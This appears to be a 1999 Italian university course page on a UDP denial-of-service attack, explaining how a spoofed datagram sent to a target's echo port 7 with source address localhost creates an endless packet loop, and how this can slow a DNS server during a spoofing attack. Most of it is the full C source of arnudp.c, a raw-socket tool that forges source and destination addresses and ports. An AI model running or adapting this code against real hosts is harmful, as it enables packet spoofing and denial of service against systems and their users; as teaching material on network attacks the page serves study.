UDP denial

Questo documento fa parte di un lavoro di ricerca che ho preparato assieme ai miei colleghi Raffaele Spangaro e Walter Vendraminetto per il corso di Reti di Calcolatori. Il codice sorgente e la breve spiegazione sono tratti da una pagina trovata casualmente su Internet attraverso un motore di ricerca.

Scopo del programma

Quando si pensa ad un'azione di hacking, di solito viene alla mente il tentativo di una persona di introdursi illegalmente all'interno di un sistema. Non sempre, però, un hacker opera in questo modo, o meglio, non sempre la via seguita è quella dell'attacco diretto.

Per un attacco DNS, ad esempio, uno dei punti chiave per il successo dell'attacco è prendere tempo, in modo che la risposta falsa raggiunga il client prima di quella corretta. Quale miglior modo se non quello di rallentare l'attività del server DNS sovraccaricandolo?

L'obiettivo del codice seguente è proprio quello di rallentare drasticamente un sistema generando un circolo vizioso di pacchetti nella macchina da colpire. A tale scopo viene costruito un opportuno datagramma UDP con i campi di indirizzo IP e porta dell'host sorgente modificati, se lanciamo il programma come root, a nostro piacimento.

È facile intuire come inviando un datagramma UDP contenente come indirizzo IP di destinazione quello del sistema sotto attacco, come porta il valore "7" che corrisponde al servizio echo e come indirizzo IP sorgente il valore "localhost", si instauri un loop nella macchina che non avrà mai termine se non tramite reboot. Questo è il motivo per cui spesso la porta "7" è disabilitata sui sistemi pubblici.

Il codice sorgente

Qui di seguito è riportato il codice sorgente realizzato da Arny. Data la sua semplicità non c'è bisogno di grandi commenti. Si notino solo le linee

bcopy(*(he->h_addr_list),(gram+12),4);
*(u_short*)(gram+20)=htons((u_short)atoi(argv[2]));
bcopy(*(he->h_addr_list),(gram+16),4);
*(u_short*)(gram+22)=htons((u_short)atoi(argv[4]));

che modificano l'indirizzo e la porta rispettivamente del mittente e del destinatario, mentre l'utilizzo di questo codice

socket(AF_INET,SOCK_RAW,IPPROTO_RAW)

impedisce ad un utente che non sia root di eseguire il codice compilato.


/************************************************************************/
/* arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk		*/
/* Sends a single udp datagram with the source/destination address/port	*/
/* set to whatever you want.  Unfortunately Linux 1.2 and SunOS 4.1	*/
/* don't seem to have the IP_HDRINCL option, so the source address will	*/
/* be set to the real address.  It does however work ok on SunOS 5.4.	*/
/* Should compile fine with just an ANSI compiler (such as gcc) under	*/
/* Linux and SunOS 4.1, but with SunOS 5.4 you have to specify extra	*/
/* libraries on the command line:					*/
/* 	/usr/ucb/cc -o arnudp arnudp001.c -lsocket -lnsl		*/
/* I'll state the obvious - this needs to be run as root!  Do not use	*/
/* this program unless you know what you are doing, as it is possible	*/
/* that you could confuse parts of your network	/ internet.		*/
/* (c) 1995 Arny - I accept no responsiblity for anything this does.	*/
/************************************************************************/
/* I used the source of traceroute as an example while writing this.	*/
/* Many thanks to Dan Egnor (egnor@ugcs.caltech.edu) and Rich Stevens	*/
/* for pointing me in the right direction.				*/
/************************************************************************/
 
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>

struct sockaddr sa;

main(int argc,char **argv)
{
int fd;
int x=1;
struct sockaddr_in *p;
struct hostent *he;
u_char gram[38]=
	{
	0x45,	0x00,	0x00,	0x26,
	0x12,	0x34,	0x00,	0x00,
	0xFF,	0x11,	0,	0,
	0,	0,	0,	0,
	0,	0,	0,	0,

	0,	0,	0,	0,
	0x00,	0x12,	0x00,	0x00,

	'1','2','3','4','5','6','7','8','9','0'
	};

if(argc!=5)
	{
	fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationport\n",*argv);
	exit(1);
	};

if((he=gethostbyname(argv[1]))==NULL)
	{
	fprintf(stderr,"can't resolve source hostname\n");
	exit(1);
	};
bcopy(*(he->h_addr_list),(gram+12),4);

if((he=gethostbyname(argv[3]))==NULL)
	{
	fprintf(stderr,"can't resolve destination hostname\n");
	exit(1);
	};
bcopy(*(he->h_addr_list),(gram+16),4);

*(u_short*)(gram+20)=htons((u_short)atoi(argv[2]));
*(u_short*)(gram+22)=htons((u_short)atoi(argv[4]));

p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));

if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
	{
	perror("socket");
	exit(1);
	};

#ifdef IP_HDRINCL
fprintf(stderr,"we have IP_HDRINCL :-)\n\n");
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
	{
	perror("setsockopt IP_HDRINCL");
	exit(1);
        };
#else
fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");
#endif

if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)
	{
	perror("sendto");
	exit(1);
	};

printf("datagram sent without error:");
for(x=0;x<(sizeof(gram)/sizeof(u_char));x++)
	{
	if(!(x%4)) putchar('\n');
	printf("%02x",gram[x]);
	};
putchar('\n');

}

Lorenzo Cappelletti
Last modified: Mon May 24 15:57:22 CEST 1999